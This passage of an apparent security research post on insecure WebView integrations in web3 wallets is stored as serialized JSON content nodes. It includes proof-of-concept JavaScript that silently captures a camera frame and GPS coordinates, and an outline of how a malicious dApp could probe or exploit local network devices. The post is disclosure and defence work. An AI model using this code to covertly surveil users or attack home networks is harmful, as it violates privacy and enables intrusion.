",{"type":22,"tag":118,"props":158915,"children":158916},{"style":146},[158917],{"type":28,"value":36048},{"type":22,"tag":118,"props":158919,"children":158920},{"style":204},[158921],{"type":28,"value":83724},{"type":22,"tag":118,"props":158923,"children":158924},{"style":210},[158925],{"type":28,"value":292},{"type":22,"tag":118,"props":158927,"children":158928},{"style":204},[158929],{"type":28,"value":158930},"reason",{"type":22,"tag":118,"props":158932,"children":158933},{"style":146},[158934],{"type":28,"value":36080},{"type":22,"tag":118,"props":158936,"children":158937},{"style":1866},[158938],{"type":28,"value":12381},{"type":22,"tag":118,"props":158940,"children":158941},{"style":210},[158942],{"type":28,"value":682},{"type":22,"tag":118,"props":158944,"children":158945},{"class":120,"line":441},[158946],{"type":22,"tag":118,"props":158947,"children":158948},{"style":210},[158949],{"type":28,"value":158950},"        });\n",{"type":22,"tag":118,"props":158952,"children":158953},{"class":120,"line":475},[158954,158958,158962,158966,158970,158974,158978,158982,158986,158990,158994,158998,159002,159007,159011,159015],{"type":22,"tag":118,"props":158955,"children":158956},{"style":204},[158957],{"type":28,"value":158858},{"type":22,"tag":118,"props":158959,"children":158960},{"style":210},[158961],{"type":28,"value":292},{"type":22,"tag":118,"props":158963,"children":158964},{"style":532},[158965],{"type":28,"value":34627},{"type":22,"tag":118,"props":158967,"children":158968},{"style":210},[158969],{"type":28,"value":34850},{"type":22,"tag":118,"props":158971,"children":158972},{"style":146},[158973],{"type":28,"value":33316},{"type":22,"tag":118,"props":158975,"children":158976},{"style":210},[158977],{"type":28,"value":842},{"type":22,"tag":118,"props":158979,"children":158980},{"style":204},[158981],{"type":28,"value":59887},{"type":22,"tag":118,"props":158983,"children":158984},{"style":210},[158985],{"type":28,"value":231},{"type":22,"tag":118,"props":158987,"children":158988},{"style":204},[158989],{"type":28,"value":72316},{"type":22,"tag":118,"props":158991,"children":158992},{"style":210},[158993],{"type":28,"value":231},{"type":22,"tag":118,"props":158995,"children":158996},{"style":204},[158997],{"type":28,"value":120},{"type":22,"tag":118,"props":158999,"children":159000},{"style":210},[159001],{"type":28,"value":231},{"type":22,"tag":118,"props":159003,"children":159004},{"style":204},[159005],{"type":28,"value":159006},"col",{"type":22,"tag":118,"props":159008,"children":159009},{"style":210},[159010],{"type":28,"value":231},{"type":22,"tag":118,"props":159012,"children":159013},{"style":204},[159014],{"type":28,"value":16841},{"type":22,"tag":118,"props":159016,"children":159017},{"style":210},[159018],{"type":28,"value":16783},{"type":22,"tag":118,"props":159020,"children":159021},{"class":120,"line":484},[159022,159026,159030,159035,159039,159043],{"type":22,"tag":118,"props":159023,"children":159024},{"style":532},[159025],{"type":28,"value":158904},{"type":22,"tag":118,"props":159027,"children":159028},{"style":210},[159029],{"type":28,"value":540},{"type":22,"tag":118,"props":159031,"children":159032},{"style":1866},[159033],{"type":28,"value":159034},"'onerror: '",{"type":22,"tag":118,"props":159036,"children":159037},{"style":210},[159038],{"type":28,"value":36636},{"type":22,"tag":118,"props":159040,"children":159041},{"style":204},[159042],{"type":28,"value":59887},{"type":22,"tag":118,"props":159044,"children":159045},{"style":210},[159046],{"type":28,"value":682},{"type":22,"tag":118,"props":159048,"children":159049},{"class":120,"line":492},[159050,159054,159058],{"type":22,"tag":118,"props":159051,"children":159052},{"style":1480},[159053],{"type":28,"value":80672},{"type":22,"tag":118,"props":159055,"children":159056},{"style":146},[159057],{"type":28,"value":1678},{"type":22,"tag":118,"props":159059,"children":159060},{"style":210},[159061],{"type":28,"value":801},{"type":22,"tag":118,"props":159063,"children":159064},{"class":120,"line":501},[159065],{"type":22,"tag":118,"props":159066,"children":159067},{"style":210},[159068],{"type":28,"value":159069},"        };\n",{"type":22,"tag":118,"props":159071,"children":159072},{"class":120,"line":519},[159073],{"type":22,"tag":118,"props":159074,"children":159075},{"emptyLinePlaceholder":15},[159076],{"type":28,"value":250},{"type":22,"tag":118,"props":159078,"children":159079},{"class":120,"line":606},[159080,159085,159089,159093],{"type":22,"tag":118,"props":159081,"children":159082},{"style":146},[159083],{"type":28,"value":159084},"        async",{"type":22,"tag":118,"props":159086,"children":159087},{"style":146},[159088],{"type":28,"value":40155},{"type":22,"tag":118,"props":159090,"children":159091},{"style":532},[159092],{"type":28,"value":92376},{"type":22,"tag":118,"props":159094,"children":159095},{"style":210},[159096],{"type":28,"value":2215},{"type":22,"tag":118,"props":159098,"children":159099},{"class":120,"line":615},[159100,159104,159109,159113,159117,159122,159126,159131,159135,159140,159144,159149,159153],{"type":22,"tag":118,"props":159101,"children":159102},{"style":146},[159103],{"type":28,"value":152630},{"type":22,"tag":118,"props":159105,"children":159106},{"style":204},[159107],{"type":28,"value":159108}," stream",{"type":22,"tag":118,"props":159110,"children":159111},{"style":210},[159112],{"type":28,"value":34850},{"type":22,"tag":118,"props":159114,"children":159115},{"style":1480},[159116],{"type":28,"value":34855},{"type":22,"tag":118,"props":159118,"children":159119},{"style":204},[159120],{"type":28,"value":159121}," navigator",{"type":22,"tag":118,"props":159123,"children":159124},{"style":210},[159125],{"type":28,"value":292},{"type":22,"tag":118,"props":159127,"children":159128},{"style":204},[159129],{"type":28,"value":159130},"mediaDevices",{"type":22,"tag":118,"props":159132,"children":159133},{"style":210},[159134],{"type":28,"value":292},{"type":22,"tag":118,"props":159136,"children":159137},{"style":532},[159138],{"type":28,"value":159139},"getUserMedia",{"type":22,"tag":118,"props":159141,"children":159142},{"style":210},[159143],{"type":28,"value":33437},{"type":22,"tag":118,"props":159145,"children":159146},{"style":204},[159147],{"type":28,"value":159148},"video:",{"type":22,"tag":118,"props":159150,"children":159151},{"style":146},[159152],{"type":28,"value":1537},{"type":22,"tag":118,"props":159154,"children":159155},{"style":210},[159156],{"type":28,"value":40776},{"type":22,"tag":118,"props":159158,"children":159159},{"class":120,"line":685},[159160,159164,159169,159173,159177,159181,159185,159189,159194],{"type":22,"tag":118,"props":159161,"children":159162},{"style":146},[159163],{"type":28,"value":152630},{"type":22,"tag":118,"props":159165,"children":159166},{"style":204},[159167],{"type":28,"value":159168}," video",{"type":22,"tag":118,"props":159170,"children":159171},{"style":210},[159172],{"type":28,"value":34850},{"type":22,"tag":118,"props":159174,"children":159175},{"style":204},[159176],{"type":28,"value":34646},{"type":22,"tag":118,"props":159178,"children":159179},{"style":210},[159180],{"type":28,"value":292},{"type":22,"tag":118,"props":159182,"children":159183},{"style":532},[159184],{"type":28,"value":38662},{"type":22,"tag":118,"props":159186,"children":159187},{"style":210},[159188],{"type":28,"value":540},{"type":22,"tag":118,"props":159190,"children":159191},{"style":1866},[159192],{"type":28,"value":159193},"\"video\"",{"type":22,"tag":118,"props":159195,"children":159196},{"style":210},[159197],{"type":28,"value":682},{"type":22,"tag":118,"props":159199,"children":159200},{"class":120,"line":699},[159201,159206,159210,159215,159219,159223],{"type":22,"tag":118,"props":159202,"children":159203},{"style":204},[159204],{"type":28,"value":159205},"            video",{"type":22,"tag":118,"props":159207,"children":159208},{"style":210},[159209],{"type":28,"value":292},{"type":22,"tag":118,"props":159211,"children":159212},{"style":204},[159213],{"type":28,"value":159214},"srcObject",{"type":22,"tag":118,"props":159216,"children":159217},{"style":210},[159218],{"type":28,"value":34850},{"type":22,"tag":118,"props":159220,"children":159221},{"style":204},[159222],{"type":28,"value":38202},{"type":22,"tag":118,"props":159224,"children":159225},{"style":210},[159226],{"type":28,"value":801},{"type":22,"tag":118,"props":159228,"children":159229},{"class":120,"line":729},[159230,159234,159239,159243,159247,159251,159255,159259,159264],{"type":22,"tag":118,"props":159231,"children":159232},{"style":146},[159233],{"type":28,"value":152630},{"type":22,"tag":118,"props":159235,"children":159236},{"style":204},[159237],{"type":28,"value":159238}," canvas",{"type":22,"tag":118,"props":159240,"children":159241},{"style":210},[159242],{"type":28,"value":34850},{"type":22,"tag":118,"props":159244,"children":159245},{"style":204},[159246],{"type":28,"value":34646},{"type":22,"tag":118,"props":159248,"children":159249},{"style":210},[159250],{"type":28,"value":292},{"type":22,"tag":118,"props":159252,"children":159253},{"style":532},[159254],{"type":28,"value":38662},{"type":22,"tag":118,"props":159256,"children":159257},{"style":210},[159258],{"type":28,"value":540},{"type":22,"tag":118,"props":159260,"children":159261},{"style":1866},[159262],{"type":28,"value":159263},"\"canvas\"",{"type":22,"tag":118,"props":159265,"children":159266},{"style":210},[159267],{"type":28,"value":682},{"type":22,"tag":118,"props":159269,"children":159270},{"class":120,"line":771},[159271],{"type":22,"tag":118,"props":159272,"children":159273},{"emptyLinePlaceholder":15},[159274],{"type":28,"value":250},{"type":22,"tag":118,"props":159276,"children":159277},{"class":120,"line":785},[159278,159282,159286,159291,159296,159300],{"type":22,"tag":118,"props":159279,"children":159280},{"style":204},[159281],{"type":28,"value":159205},{"type":22,"tag":118,"props":159283,"children":159284},{"style":210},[159285],{"type":28,"value":292},{"type":22,"tag":118,"props":159287,"children":159288},{"style":532},[159289],{"type":28,"value":159290},"onloadedmetadata",{"type":22,"tag":118,"props":159292,"children":159293},{"style":210},[159294],{"type":28,"value":159295}," = () ",{"type":22,"tag":118,"props":159297,"children":159298},{"style":146},[159299],{"type":28,"value":1616},{"type":22,"tag":118,"props":159301,"children":159302},{"style":210},[159303],{"type":28,"value":1474},{"type":22,"tag":118,"props":159305,"children":159306},{"class":120,"line":804},[159307,159312,159316,159321,159325,159329,159333,159338],{"type":22,"tag":118,"props":159308,"children":159309},{"style":204},[159310],{"type":28,"value":159311},"                canvas",{"type":22,"tag":118,"props":159313,"children":159314},{"style":210},[159315],{"type":28,"value":292},{"type":22,"tag":118,"props":159317,"children":159318},{"style":204},[159319],{"type":28,"value":159320},"width",{"type":22,"tag":118,"props":159322,"children":159323},{"style":210},[159324],{"type":28,"value":34850},{"type":22,"tag":118,"props":159326,"children":159327},{"style":204},[159328],{"type":28,"value":133454},{"type":22,"tag":118,"props":159330,"children":159331},{"style":210},[159332],{"type":28,"value":292},{"type":22,"tag":118,"props":159334,"children":159335},{"style":204},[159336],{"type":28,"value":159337},"videoWidth",{"type":22,"tag":118,"props":159339,"children":159340},{"style":210},[159341],{"type":28,"value":801},{"type":22,"tag":118,"props":159343,"children":159344},{"class":120,"line":812},[159345,159349,159353,159358,159362,159366,159370,159375],{"type":22,"tag":118,"props":159346,"children":159347},{"style":204},[159348],{"type":28,"value":159311},{"type":22,"tag":118,"props":159350,"children":159351},{"style":210},[159352],{"type":28,"value":292},{"type":22,"tag":118,"props":159354,"children":159355},{"style":204},[159356],{"type":28,"value":159357},"height",{"type":22,"tag":118,"props":159359,"children":159360},{"style":210},[159361],{"type":28,"value":34850},{"type":22,"tag":118,"props":159363,"children":159364},{"style":204},[159365],{"type":28,"value":133454},{"type":22,"tag":118,"props":159367,"children":159368},{"style":210},[159369],{"type":28,"value":292},{"type":22,"tag":118,"props":159371,"children":159372},{"style":204},[159373],{"type":28,"value":159374},"videoHeight",{"type":22,"tag":118,"props":159376,"children":159377},{"style":210},[159378],{"type":28,"value":801},{"type":22,"tag":118,"props":159380,"children":159381},{"class":120,"line":821},[159382],{"type":22,"tag":118,"props":159383,"children":159384},{"style":210},[159385],{"type":28,"value":50014},{"type":22,"tag":118,"props":159387,"children":159388},{"class":120,"line":900},[159389],{"type":22,"tag":118,"props":159390,"children":159391},{"emptyLinePlaceholder":15},[159392],{"type":28,"value":250},{"type":22,"tag":118,"props":159394,"children":159395},{"class":120,"line":913},[159396,159401,159405,159410,159414,159418,159422],{"type":22,"tag":118,"props":159397,"children":159398},{"style":204},[159399],{"type":28,"value":159400},"            connect",{"type":22,"tag":118,"props":159402,"children":159403},{"style":210},[159404],{"type":28,"value":292},{"type":22,"tag":118,"props":159406,"children":159407},{"style":532},[159408],{"type":28,"value":159409},"onclick",{"type":22,"tag":118,"props":159411,"children":159412},{"style":210},[159413],{"type":28,"value":34850},{"type":22,"tag":118,"props":159415,"children":159416},{"style":204},[159417],{"type":28,"value":53395},{"type":22,"tag":118,"props":159419,"children":159420},{"style":146},[159421],{"type":28,"value":1532},{"type":22,"tag":118,"props":159423,"children":159424},{"style":210},[159425],{"type":28,"value":1474},{"type":22,"tag":118,"props":159427,"children":159428},{"class":120,"line":953},[159429,159434,159438,159443],{"type":22,"tag":118,"props":159430,"children":159431},{"style":204},[159432],{"type":28,"value":159433},"                video",{"type":22,"tag":118,"props":159435,"children":159436},{"style":210},[159437],{"type":28,"value":292},{"type":22,"tag":118,"props":159439,"children":159440},{"style":532},[159441],{"type":28,"value":159442},"play",{"type":22,"tag":118,"props":159444,"children":159445},{"style":210},[159446],{"type":28,"value":1098},{"type":22,"tag":118,"props":159448,"children":159449},{"class":120,"line":982},[159450],{"type":22,"tag":118,"props":159451,"children":159452},{"emptyLinePlaceholder":15},[159453],{"type":28,"value":250},{"type":22,"tag":118,"props":159455,"children":159456},{"class":120,"line":995},[159457,159461,159465,159470,159474,159479,159483,159488,159492,159496,159500,159504,159508,159512],{"type":22,"tag":118,"props":159458,"children":159459},{"style":204},[159460],{"type":28,"value":159311},{"type":22,"tag":118,"props":159462,"children":159463},{"style":210},[159464],{"type":28,"value":292},{"type":22,"tag":118,"props":159466,"children":159467},{"style":532},[159468],{"type":28,"value":159469},"getContext",{"type":22,"tag":118,"props":159471,"children":159472},{"style":210},[159473],{"type":28,"value":540},{"type":22,"tag":118,"props":159475,"children":159476},{"style":1866},[159477],{"type":28,"value":159478},"\"2d\"",{"type":22,"tag":118,"props":159480,"children":159481},{"style":210},[159482],{"type":28,"value":22702},{"type":22,"tag":118,"props":159484,"children":159485},{"style":532},[159486],{"type":28,"value":159487},"drawImage",{"type":22,"tag":118,"props":159489,"children":159490},{"style":210},[159491],{"type":28,"value":540},{"type":22,"tag":118,"props":159493,"children":159494},{"style":204},[159495],{"type":28,"value":133454},{"type":22,"tag":118,"props":159497,"children":159498},{"style":210},[159499],{"type":28,"value":231},{"type":22,"tag":118,"props":159501,"children":159502},{"style":674},[159503],{"type":28,"value":6036},{"type":22,"tag":118,"props":159505,"children":159506},{"style":210},[159507],{"type":28,"value":231},{"type":22,"tag":118,"props":159509,"children":159510},{"style":674},[159511],{"type":28,"value":6036},{"type":22,"tag":118,"props":159513,"children":159514},{"style":210},[159515],{"type":28,"value":682},{"type":22,"tag":118,"props":159517,"children":159518},{"class":120,"line":1011},[159519,159524,159528,159533,159537,159542,159546,159550,159554,159559,159563,159568],{"type":22,"tag":118,"props":159520,"children":159521},{"style":204},[159522],{"type":28,"value":159523},"                stream",{"type":22,"tag":118,"props":159525,"children":159526},{"style":210},[159527],{"type":28,"value":292},{"type":22,"tag":118,"props":159529,"children":159530},{"style":532},[159531],{"type":28,"value":159532},"getTracks",{"type":22,"tag":118,"props":159534,"children":159535},{"style":210},[159536],{"type":28,"value":32106},{"type":22,"tag":118,"props":159538,"children":159539},{"style":532},[159540],{"type":28,"value":159541},"forEach",{"type":22,"tag":118,"props":159543,"children":159544},{"style":210},[159545],{"type":28,"value":540},{"type":22,"tag":118,"props":159547,"children":159548},{"style":204},[159549],{"type":28,"value":23684},{"type":22,"tag":118,"props":159551,"children":159552},{"style":146},[159553],{"type":28,"value":1532},{"type":22,"tag":118,"props":159555,"children":159556},{"style":204},[159557],{"type":28,"value":159558}," t",{"type":22,"tag":118,"props":159560,"children":159561},{"style":210},[159562],{"type":28,"value":292},{"type":22,"tag":118,"props":159564,"children":159565},{"style":532},[159566],{"type":28,"value":159567},"stop",{"type":22,"tag":118,"props":159569,"children":159570},{"style":210},[159571],{"type":28,"value":17399},{"type":22,"tag":118,"props":159573,"children":159574},{"class":120,"line":1019},[159575,159579,159583,159588,159592,159596,159600,159604],{"type":22,"tag":118,"props":159576,"children":159577},{"style":204},[159578],{"type":28,"value":159311},{"type":22,"tag":118,"props":159580,"children":159581},{"style":210},[159582],{"type":28,"value":292},{"type":22,"tag":118,"props":159584,"children":159585},{"style":532},[159586],{"type":28,"value":159587},"toBlob",{"type":22,"tag":118,"props":159589,"children":159590},{"style":210},[159591],{"type":28,"value":33462},{"type":22,"tag":118,"props":159593,"children":159594},{"style":204},[159595],{"type":28,"value":34887},{"type":22,"tag":118,"props":159597,"children":159598},{"style":210},[159599],{"type":28,"value":588},{"type":22,"tag":118,"props":159601,"children":159602},{"style":146},[159603],{"type":28,"value":1616},{"type":22,"tag":118,"props":159605,"children":159606},{"style":210},[159607],{"type":28,"value":1474},{"type":22,"tag":118,"props":159609,"children":159610},{"class":120,"line":1028},[159611,159616,159620,159624,159628,159633,159637,159642,159646,159650],{"type":22,"tag":118,"props":159612,"children":159613},{"style":204},[159614],{"type":28,"value":159615},"                    pic",{"type":22,"tag":118,"props":159617,"children":159618},{"style":210},[159619],{"type":28,"value":292},{"type":22,"tag":118,"props":159621,"children":159622},{"style":204},[159623],{"type":28,"value":34608},{"type":22,"tag":118,"props":159625,"children":159626},{"style":210},[159627],{"type":28,"value":34850},{"type":22,"tag":118,"props":159629,"children":159630},{"style":204},[159631],{"type":28,"value":159632},"URL",{"type":22,"tag":118,"props":159634,"children":159635},{"style":210},[159636],{"type":28,"value":292},{"type":22,"tag":118,"props":159638,"children":159639},{"style":532},[159640],{"type":28,"value":159641},"createObjectURL",{"type":22,"tag":118,"props":159643,"children":159644},{"style":210},[159645],{"type":28,"value":540},{"type":22,"tag":118,"props":159647,"children":159648},{"style":204},[159649],{"type":28,"value":34887},{"type":22,"tag":118,"props":159651,"children":159652},{"style":210},[159653],{"type":28,"value":682},{"type":22,"tag":118,"props":159655,"children":159656},{"class":120,"line":1101},[159657],{"type":22,"tag":118,"props":159658,"children":159659},{"style":210},[159660],{"type":28,"value":159661},"                });\n",{"type":22,"tag":118,"props":159663,"children":159664},{"class":120,"line":1146},[159665],{"type":22,"tag":118,"props":159666,"children":159667},{"emptyLinePlaceholder":15},[159668],{"type":28,"value":250},{"type":22,"tag":118,"props":159670,"children":159671},{"class":120,"line":1226},[159672,159677,159681,159686,159690,159695,159699,159704,159708],{"type":22,"tag":118,"props":159673,"children":159674},{"style":204},[159675],{"type":28,"value":159676},"                navigator",{"type":22,"tag":118,"props":159678,"children":159679},{"style":210},[159680],{"type":28,"value":292},{"type":22,"tag":118,"props":159682,"children":159683},{"style":204},[159684],{"type":28,"value":159685},"geolocation",{"type":22,"tag":118,"props":159687,"children":159688},{"style":210},[159689],{"type":28,"value":292},{"type":22,"tag":118,"props":159691,"children":159692},{"style":532},[159693],{"type":28,"value":159694},"getCurrentPosition",{"type":22,"tag":118,"props":159696,"children":159697},{"style":210},[159698],{"type":28,"value":540},{"type":22,"tag":118,"props":159700,"children":159701},{"style":204},[159702],{"type":28,"value":159703},"pos",{"type":22,"tag":118,"props":159705,"children":159706},{"style":146},[159707],{"type":28,"value":1532},{"type":22,"tag":118,"props":159709,"children":159710},{"style":210},[159711],{"type":28,"value":1474},{"type":22,"tag":118,"props":159713,"children":159714},{"class":120,"line":1234},[159715,159720,159724,159728,159732,159736,159741],{"type":22,"tag":118,"props":159716,"children":159717},{"style":146},[159718],{"type":28,"value":159719},"                    const",{"type":22,"tag":118,"props":159721,"children":159722},{"style":204},[159723],{"type":28,"value":39386},{"type":22,"tag":118,"props":159725,"children":159726},{"style":210},[159727],{"type":28,"value":34850},{"type":22,"tag":118,"props":159729,"children":159730},{"style":204},[159731],{"type":28,"value":159703},{"type":22,"tag":118,"props":159733,"children":159734},{"style":210},[159735],{"type":28,"value":292},{"type":22,"tag":118,"props":159737,"children":159738},{"style":204},[159739],{"type":28,"value":159740},"coords",{"type":22,"tag":118,"props":159742,"children":159743},{"style":210},[159744],{"type":28,"value":801},{"type":22,"tag":118,"props":159746,"children":159747},{"class":120,"line":1248},[159748,159753,159757,159761,159765,159770,159774,159778,159782,159787,159791,159796,159800,159804,159808,159812,159816,159821,159825,159829,159833,159838,159842,159846,159850,159854,159858,159862,159866],{"type":22,"tag":118,"props":159749,"children":159750},{"style":204},[159751],{"type":28,"value":159752},"                    gps",{"type":22,"tag":118,"props":159754,"children":159755},{"style":210},[159756],{"type":28,"value":292},{"type":22,"tag":118,"props":159758,"children":159759},{"style":204},[159760],{"type":28,"value":36904},{"type":22,"tag":118,"props":159762,"children":159763},{"style":210},[159764],{"type":28,"value":34850},{"type":22,"tag":118,"props":159766,"children":159767},{"style":1866},[159768],{"type":28,"value":159769},"`Lat: ",{"type":22,"tag":118,"props":159771,"children":159772},{"style":146},[159773],{"type":28,"value":36048},{"type":22,"tag":118,"props":159775,"children":159776},{"style":204},[159777],{"type":28,"value":5169},{"type":22,"tag":118,"props":159779,"children":159780},{"style":210},[159781],{"type":28,"value":292},{"type":22,"tag":118,"props":159783,"children":159784},{"style":204},[159785],{"type":28,"value":159786},"latitude",{"type":22,"tag":118,"props":159788,"children":159789},{"style":210},[159790],{"type":28,"value":292},{"type":22,"tag":118,"props":159792,"children":159793},{"style":532},[159794],{"type":28,"value":159795},"toFixed",{"type":22,"tag":118,"props":159797,"children":159798},{"style":210},[159799],{"type":28,"value":540},{"type":22,"tag":118,"props":159801,"children":159802},{"style":674},[159803],{"type":28,"value":6026},{"type":22,"tag":118,"props":159805,"children":159806},{"style":210},[159807],{"type":28,"value":3627},{"type":22,"tag":118,"props":159809,"children":159810},{"style":146},[159811],{"type":28,"value":36080},{"type":22,"tag":118,"props":159813,"children":159814},{"style":50313},[159815],{"type":28,"value":50316},{"type":22,"tag":118,"props":159817,"children":159818},{"style":1866},[159819],{"type":28,"value":159820},"Lon: ",{"type":22,"tag":118,"props":159822,"children":159823},{"style":146},[159824],{"type":28,"value":36048},{"type":22,"tag":118,"props":159826,"children":159827},{"style":204},[159828],{"type":28,"value":5169},{"type":22,"tag":118,"props":159830,"children":159831},{"style":210},[159832],{"type":28,"value":292},{"type":22,"tag":118,"props":159834,"children":159835},{"style":204},[159836],{"type":28,"value":159837},"longitude",{"type":22,"tag":118,"props":159839,"children":159840},{"style":210},[159841],{"type":28,"value":292},{"type":22,"tag":118,"props":159843,"children":159844},{"style":532},[159845],{"type":28,"value":159795},{"type":22,"tag":118,"props":159847,"children":159848},{"style":210},[159849],{"type":28,"value":540},{"type":22,"tag":118,"props":159851,"children":159852},{"style":674},[159853],{"type":28,"value":6026},{"type":22,"tag":118,"props":159855,"children":159856},{"style":210},[159857],{"type":28,"value":3627},{"type":22,"tag":118,"props":159859,"children":159860},{"style":146},[159861],{"type":28,"value":36080},{"type":22,"tag":118,"props":159863,"children":159864},{"style":1866},[159865],{"type":28,"value":12381},{"type":22,"tag":118,"props":159867,"children":159868},{"style":210},[159869],{"type":28,"value":801},{"type":22,"tag":118,"props":159871,"children":159872},{"class":120,"line":1257},[159873,159878,159882,159886,159891,159895,159899],{"type":22,"tag":118,"props":159874,"children":159875},{"style":210},[159876],{"type":28,"value":159877},"                }, ",{"type":22,"tag":118,"props":159879,"children":159880},{"style":204},[159881],{"type":28,"value":50360},{"type":22,"tag":118,"props":159883,"children":159884},{"style":146},[159885],{"type":28,"value":1532},{"type":22,"tag":118,"props":159887,"children":159888},{"style":532},[159889],{"type":28,"value":159890}," alert",{"type":22,"tag":118,"props":159892,"children":159893},{"style":210},[159894],{"type":28,"value":540},{"type":22,"tag":118,"props":159896,"children":159897},{"style":204},[159898],{"type":28,"value":50360},{"type":22,"tag":118,"props":159900,"children":159901},{"style":210},[159902],{"type":28,"value":9230},{"type":22,"tag":118,"props":159904,"children":159905},{"class":120,"line":25765},[159906],{"type":22,"tag":118,"props":159907,"children":159908},{"style":210},[159909],{"type":28,"value":50014},{"type":22,"tag":118,"props":159911,"children":159912},{"class":120,"line":25778},[159913],{"type":22,"tag":118,"props":159914,"children":159915},{"emptyLinePlaceholder":15},[159916],{"type":28,"value":250},{"type":22,"tag":118,"props":159918,"children":159919},{"class":120,"line":25791},[159920],{"type":22,"tag":118,"props":159921,"children":159922},{"style":210},[159923],{"type":28,"value":1835},{"type":22,"tag":118,"props":159925,"children":159926},{"class":120,"line":25804},[159927,159932],{"type":22,"tag":118,"props":159928,"children":159929},{"style":532},[159930],{"type":28,"value":159931},"        main",{"type":22,"tag":118,"props":159933,"children":159934},{"style":210},[159935],{"type":28,"value":1098},{"type":22,"tag":118,"props":159937,"children":159938},{"class":120,"line":25858},[159939,159943,159947],{"type":22,"tag":118,"props":159940,"children":159941},{"style":34314},[159942],{"type":28,"value":34767},{"type":22,"tag":118,"props":159944,"children":159945},{"style":146},[159946],{"type":28,"value":34354},{"type":22,"tag":118,"props":159948,"children":159949},{"style":34314},[159950],{"type":28,"value":8002},{"type":22,"tag":118,"props":159952,"children":159953},{"class":120,"line":25867},[159954,159958,159962],{"type":22,"tag":118,"props":159955,"children":159956},{"style":34314},[159957],{"type":28,"value":34368},{"type":22,"tag":118,"props":159959,"children":159960},{"style":146},[159961],{"type":28,"value":34338},{"type":22,"tag":118,"props":159963,"children":159964},{"style":34314},[159965],{"type":28,"value":8002},{"type":22,"tag":118,"props":159967,"children":159968},{"class":120,"line":34219},[159969,159973,159977],{"type":22,"tag":118,"props":159970,"children":159971},{"style":34314},[159972],{"type":28,"value":34368},{"type":22,"tag":118,"props":159974,"children":159975},{"style":146},[159976],{"type":28,"value":34321},{"type":22,"tag":118,"props":159978,"children":159979},{"style":34314},[159980],{"type":28,"value":8002},{"type":22,"tag":1899,"props":159982,"children":159983},{"id":6241},[159984],{"type":28,"value":6244},{"type":22,"tag":31,"props":159986,"children":159987},{},[159988],{"type":28,"value":159989},"Unfortunately, there's no simple solution for fixing this vulnerability, as most libraries don't offer an easy to enable feature flag. Each wallet should be mindful of the libraries they use and subsequently manually implement measures to mitigate this.",{"type":22,"tag":31,"props":159991,"children":159992},{},[159993,159995,160001],{"type":28,"value":159994},"A good baseline for patches like this is Metamask. Their patch for React Native WebView can be found ",{"type":22,"tag":42,"props":159996,"children":159999},{"href":159997,"rel":159998},"https://github.com/MetaMask/metamask-mobile/blob/53e205520cd571e84fbb443470a6e3654650bad4/.yarn/patches/%40metamask-react-native-webview-npm-14.5.0-b34fed6d50.patch#L13",[46],[160000],{"type":28,"value":1377},{"type":28,"value":292},{"type":22,"tag":33285,"props":160003,"children":160004},{"style":33287},[160005],{"type":22,"tag":5928,"props":160006,"children":160010},{"src":160007,"alt":160008,"style":160009},"/posts/insecure-webview-integrations/image2.png","Private Network Access desktop prompt","max-height:144px; width:auto; max-width:100%;",[],{"type":22,"tag":31,"props":160012,"children":160013},{},[160014],{"type":28,"value":160015},"However, even with this patch applied, the user experience is suboptimal. Since there's no cache mechanism for preserving the users' choice, various clickjacking scenarios can be instantiated for further tricking the user into a permission approval.",{"type":22,"tag":23,"props":160017,"children":160019},{"id":160018},"local-network-access",[160020],{"type":28,"value":160021},"Local Network Access",{"type":22,"tag":31,"props":160023,"children":160024},{},[160025,160027,160034,160036,160042],{"type":28,"value":160026},"Modern browsers like Chrome have introduced strict protections around access to a user's local network. When a webpage attempts to send requests to servers on the local network or any private IP range, Chrome will prompt the user for explicit permission before allowing the request to proceed. This is part of the ",{"type":22,"tag":42,"props":160028,"children":160031},{"href":160029,"rel":160030},"https://wicg.github.io/private-network-access/",[46],[160032],{"type":28,"value":160033},"Private Network Access",{"type":28,"value":160035}," specification, and the permission prompt is deliberately restricted to secure contexts (HTTPS) to prevent insecure pages from using local network access as a stepping stone to more serious attacks like remote code execution. There are numerous examples available online detailing the implications of these protections ",{"type":22,"tag":42,"props":160037,"children":160040},{"href":160038,"rel":160039},"https://x.com/taviso/status/2051310678800253318",[46],[160041],{"type":28,"value":160038},{"type":28,"value":160043},". Google's Chrome was one of the first browsers to implement this protection on their desktop application.",{"type":22,"tag":33285,"props":160045,"children":160046},{"style":33287},[160047],{"type":22,"tag":5928,"props":160048,"children":160051},{"src":160049,"alt":160008,"style":160050},"/posts/insecure-webview-integrations/image3.png","max-height:240px; width:auto; max-width:100%;",[],{"type":22,"tag":31,"props":160053,"children":160054},{},[160055],{"type":28,"value":160056},"WebViews, however, do not enforce this restriction. When a dApp is loaded inside a wallet's WebView, it can freely send requests to any host on the user's local network, including routers, NAS devices, smart home hubs, IP cameras, or any other IoT device without triggering any permission prompt whatsoever. The user has no visibility into this happening. See an example of this below.",{"type":22,"tag":160058,"props":160059,"children":160062},"zoom-image",{"src":160060,"alt":160061},"/posts/insecure-webview-integrations/image4.png","Private Network Access demo",[],{"type":22,"tag":31,"props":160064,"children":160065},{},[160066],{"type":28,"value":160067},"The consequences can increase the impact of certain issues. Local network devices are frequently unpatched, rely on default credentials, and expose administrative interfaces that were never designed to be reachable from an external webpage. An attacker-controlled dApp could:",{"type":22,"tag":64,"props":160069,"children":160070},{},[160071,160076,160081],{"type":22,"tag":68,"props":160072,"children":160073},{},[160074],{"type":28,"value":160075},"Exfiltrate device information from admin panels or unauthenticated API endpoints exposed by routers or IoT devices.",{"type":22,"tag":68,"props":160077,"children":160078},{},[160079],{"type":28,"value":160080},"Perform authenticated actions against devices that rely on network-locality as their only access control (a common pattern in consumer IoT).",{"type":22,"tag":68,"props":160082,"children":160083},{},[160084],{"type":28,"value":160085},"Exploit known CVEs in firmware by sending crafted requests to a device whose vulnerability is already public, potentially achieving remote code execution on that device.",{"type":22,"tag":31,"props":160087,"children":160088},{},[160089],{"type":28,"value":160090},"A user who has installed a reputable web3 wallet has no reason to suspect that browsing via a malicious dApp within that wallet could result in their home devices being probed.",{"type":22,"tag":23,"props":160092,"children":160094},{"id":160093},"uxss-by-code-injection",[160095],{"type":28,"value":160096},"UXSS by Code Injection",{"type":22,"tag":31,"props":160098,"children":160099},{},[160100,160102,160108],{"type":28,"value":160101},"Another sink we found in react-native-webview by just skimming through the code was how the ",{"type":22,"tag":114,"props":160103,"children":160105},{"className":160104},[],[160106],{"type":28,"value":160107},"injectJavascriptObject",{"type":28,"value":160109}," attribute worked. Here is the code 